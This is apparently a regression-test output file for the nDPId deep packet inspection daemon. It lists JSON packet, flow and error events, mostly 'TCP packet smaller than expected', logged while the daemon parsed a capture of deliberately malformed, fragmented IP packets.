-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244032607084} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":8451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAnVoZ2tmZHNi"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":28,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244032907272,"flow_src_last_pkt_time":1534244032907272,"flow_dst_last_pkt_time":1534244032907272,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244032907272,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":27502,"dst_port":30307,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_src_last_pkt_time":1534244032907272,"flow_dst_last_pkt_time":1534244032907272,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0cRsQAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907313} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":8453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907321} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907329} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907345} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907355} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907364} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907439} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907447} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907455} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907462} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907470} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907478} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907486} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907504} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907576} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907583} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907591} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907598} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907606} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907614} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907621} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907629} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907638} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907647} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907654} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907661} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907668} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907675} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907683} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907692} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907699} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907706} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907713} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907720} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907738} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907744} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907752} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032907272,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032907759} 